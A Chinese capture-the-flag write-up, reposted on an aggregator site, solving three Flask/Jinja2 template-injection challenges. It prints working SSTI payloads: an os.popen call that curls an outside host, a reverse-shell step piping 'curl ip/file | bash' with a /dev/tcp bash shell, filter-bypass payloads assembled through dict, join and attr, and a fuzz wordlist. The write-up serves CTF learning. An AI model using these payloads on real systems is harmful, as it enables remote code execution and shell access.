CTF题型 SSTI(2) Flask-SSTI典型题巩固

这篇具有很好参考价值的文章主要介绍了CTF题型 SSTI(2) Flask-SSTI典型题巩固。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTF题型 SSTI(2) Flask-SSTI典型题巩固

前记

从基础到自己构造payload

请参考 https://blog.csdn.net/qq_39947980/article/details/136692512?spm=1001.2014.3001.5501

上次用的极简payload {{lipsum.__globals__['os'].popen('ls').read()}}这里接着沿用

这里题记 payload构造原理可能不是很细

复现环境:2023 极客大挑战 klf系列 https://github.com/SycloverTeam/GeekChallenge2023/tree/main/Web 题目flag没有内容自己加内容测试

1.klf__ssti

Ctrl-U查看源码 发现html注释

<html>
    <body>
       <h1>给女神表白,被拒绝了,女神骂我klf,呜呜呜</h1>
       <h1>klf是什么意思啊,呜呜呜女神肯定不会骂我的,klf是keep in Love嘛</h1>
       <h1>肯定是这样的呜呜呜,女神肯定不会骂我的</h1>
    </body>

<img src="https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/klf_ku..jpg" alt="g">
    <!-- 我好像藏了东西你找得到嘛klf-->
<!--/hack?-->
</html>

访问/hack?

提示关键字 klf

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

对应黑盒测试 我们一般 fuzz 一下字符

SSTI_Fuzz字典(网上收集+自己补充)

request
args
cookies
values
class
base
mro
subclasses
init
globals
builtins
os
import
popen
read
type
getitem
get
pop
session
config
url_for
set
lipsum
string
list
dict
join
count
index
request
args
values
cookies
format
for
is
end
name
lower
get_flashed_messages
chr
app
current_app
self
system
getattr
bytes
decode
doc
eval
exec
loader
ord
length
load_module
linecache
int
upper
reverse
replace
(
)
()
{{
}}
{%
%}
\x
\u
{%%}
{{}}
_
\
|
/
'
"
[
]
*
~
:
-
.
*
0
1
2
3
4
5
6
7
8
9
31
51
101

发送到 burl 爆破模块

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

发现 除了解析失败 其他页面相同

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

可能是盲注 {{lipsum.__globals__['os'].popen('curl zdlvueztts.dgrh3.cn').read()}}

尝试判读出网不 发现出网 无回显

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

那我们直接反弹shell

测试后发现 环境可能只有curl 可以出网 (有点奇怪)

我们在自己vps web服务上 放置 一个文件 建议不加后缀名 bash -i >& /dev/tcp/ip/port 0>&1

执行 curl ip/文件名 | bash 反弹回来

{{lipsum.__globals__['os'].popen('curl ip/file | bash').read()}}

弹回来找flag

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

2.klf_2

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

提示发现我的secret

访问/robots.txt

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

发现ssti 注入点

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

burp fuzz一下

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

发现禁了一些关键词 包括 count 数字大于 40 都被禁

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

一些符号 '' "" \ _ [ ]

尝试lipsum有没有被禁

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

自己把我们上篇文章的payload修改一下

请参考 https://blog.csdn.net/qq_39947980/article/details/136692512?spm=1001.2014.3001.5501

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

我们修改一下cmd命令即可 执行ls /app

被禁{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
被禁{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
被禁{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(l=a,s=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

数字问题如何解决了?|count |length都被禁?

因为 0-9没有被禁 可以用 全角字符半替代

为什么是半替代 因为 全部用全角字符 服务器无法识别

附 半角数字转全角 脚本

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

全角数字'0','1','2','3','4','5','6','7','8','9'

{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(24)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(l=a,s=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

可以看到/app内容

读取 /app/flag内容 cat /app/fl4gfl4gfl4g

{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(24)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl4gfl4gfl4g=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

可以拿到flag

3.klf_3

和klf_2一样的操作

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

直接拿klf_2的payload来用

读取 /app/flag内容 cat /app/fl4gfl4gfl4g

{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(24)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl4gfl4gfl4g=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

CTF题型 SSTI(2) Flask-SSTI典型题巩固,CTF考点刷题总结,比赛复现,flask,python,后端,安全,网络安全,web安全,开发语言

SSTI学习可以告一段落啦文章来源地址https://www.toymoban.com/news/detail-841897.html

到了这里,关于CTF题型 SSTI(2) Flask-SSTI典型题巩固的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • flask模板注入(ssti),一篇就够了

    1.什么是flask?   flask是用python编写的一个轻量web开发框架 2.ssti成因 flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入 本地演示(需要自行安装flask,requests模块) 通过输入参数key可以进行简单的渲

    2024年02月07日
    浏览(73)
  • BUUCTF刷题十一道(12)附-SSTI专题二

    SSTI-服务端模板注入漏洞 flask之ssti模板注入从零到入门 CTFSHOW SSTI篇-yu22x SSTI模板注入绕过(进阶篇)-yu22x SSTI模板注入学习-竹言笙熙 全部总结看最后一篇 Smarty 模板注入与沙箱逃逸-长亭科技 发现能显示ip地址,没有其他传参的地方,应该在xff头 自定义xff头,尝试模板注入 但

    2024年04月10日
    浏览(34)
  • CTF Misc(2)内存取证基础以及原理,覆盖了大部分题型

    内存取证在ctf比赛中也是常见的题目,内存取证是指在计算机系统的内存中进行取证分析,以获取有关计算机系统当前状态的信息。内存取证通常用于分析计算机系统上运行的进程、网络连接、文件、注册表等信息,并可以用于检测和分析恶意软件、网络攻击和其他安全事件

    2024年02月12日
    浏览(50)
  • js刷题巩固之路

    1. 两数之和 给定一个整数数组  nums  和一个整数目标值  target ,请你在该数组中找出  和为目标值  target   的那  两个  整数,并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。 你可以按任意顺序返回答案

    2024年02月07日
    浏览(47)
  • 小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例

    #研究对象 PHP代码漏洞(代码问题) # 知识点: 1 、过滤函数缺陷绕过 2 、 CTF 考点与代码审计 一、原理-缺陷函数-使用讲解-本地 内置函数: 大部分是比较函数(过滤时使用的函数) (1)、== 与 === : 参考: PHP 浅谈 == 和=== 中,数字和字符串比较的问题。_php 数字==字符串

    2024年01月19日
    浏览(56)
  • 【CTF】CTF竞赛介绍以及刷题网址

    CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形

    2024年02月03日
    浏览(41)
  • 小白刷题CTF show web方向

    右键查看源代码,再使用在线解密,就可以得出答案了 admin\\\' or 1=1 或者 1 or 1=1 可以登录 查询几个字段: 1\\\' or 1=1 order by 3 # 使用此语句,判断列数。 order by 3不会出错,但是order by 4就没有显示了,因此判断共有3列。 ORDER BY 子句中的数字(如 ORDER BY 4)通常表示 按照查询结果中

    2024年03月14日
    浏览(34)
  • BugKu:Simple_SSTI(SSTI模板注入)

    目录 1.Simple_SSTI_1 2.Simple_SSTI_2 点击链接进入,题目说: You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看,也可以右击页面---“检查” 如图所示,我们会得到相关的提示,根据提示信息,我们利用flask的模板注入,就能直接得到flag。

    2023年04月08日
    浏览(35)
  • Simple_SSTI_1与Simple_SSTI_2

    目录 一,Simple_SSTI_1 二,Simple_SSTI_2 首先打开场景:  然后F12查看一下源码:  于是通过百度相关知识寻找线索: 1,SSTI : 服务器端模版注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。 2,flask框架: flask是一个使用Python编写

    2023年04月12日
    浏览(31)
  • 浅学Go下的ssti

    作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题 Go 提供了两个模板包。一个是  text/template ,另一个是

    2024年02月09日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包